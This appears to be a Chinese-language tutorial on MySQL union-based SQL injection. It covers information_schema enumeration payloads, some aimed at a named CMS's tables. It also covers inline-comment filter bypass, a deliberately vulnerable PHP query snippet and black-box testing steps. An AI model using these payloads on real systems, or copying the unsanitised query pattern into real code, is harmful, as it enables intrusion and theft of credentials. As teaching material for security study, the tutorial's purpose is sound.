0x01 预备知识
Mysql的相关知识
在MySQL 5.0之后,MySQL默认在数据库中存放一个”information_schema”的库,比较重要的三个表名:SCHEMATA、TABLES以及COLUMNS。
information_schema.schemata:存储了所有库名。
struct
该表中记录库名的字段为:SCHEMA_NAME,因此可以如下注入:
-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
information_schema.tables:存储了所有表名。
query
struct
该表中记录库名的字段为:TABLE_SCHEMA,记录表名的字段为:TABLE_NAME
-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where TABLE_SCHEMA = 'ejucms' --+
information_schema.columns:存储了所有字段名。
query
struct
该表中记录库名的字段为:TABLE_SCHEMA,记录表名的字段为:TABLE_NAME,记录字段名的字段为:COLUMN_NAME
-1' union select 1,group_concat(COLUMN_NAME),3 from information_schema.columss where TABLE_NAME = 'eju_admin' --+
关于查询语句
无条件
select column_name from database_name.table_name;
一个条件
select column_name from database_name.table_name where column_name='';
两个条件
select column_name from database_name.table_name where column_name='' and column_name ='' ;
limit第一个参数为第几条记录(从0开始),第二个参数为取几条记录
limit 0,1
database():当前库
version():当前MySQL版本
user():当前MySQL用户
注释符
# or 空格 or /**/
内联注释:/*! code*/
index.php?id=-1/*! UNION*//*! SELECT*/1,2,3
union联合查询:前面查询结果为空集,后面的查询结果才能显示出来。
Union Injection
下面的代码可以看到,输出了字段内容以及并没有进行任何检测过滤,并且$id属于int型,后面也没有什么需要注释的地方。
$conn = mysqli_connect("localhost","root","root","security");
if(mysqli_connect_errno()){
echo "ERROR:".mysqli_connect_errno;
die();
}
$id = @$_GET['id'];
$result = mysqli_query($conn,"select * from users where `id`=".$id);
$row = mysqli_fetch_array($result);
echo $row['username'].":".$row['password'];
echo "
";
?>
看到输出了username以及password,因此就是普通的注入。
黑盒测试的话,这个一测就测的出来。
首先用 and 1=1 和 and 1=2两个永真及永假条件判断是否存在sql注入
可以判断存在sql注入。
判断有三个字段。
输出的字段为2,3.
可打印出所有的库名并且当前库为security.
爆出当前库的表名.
看到这里,其实爆出来好多库名,因为users这张表好几个库中都有.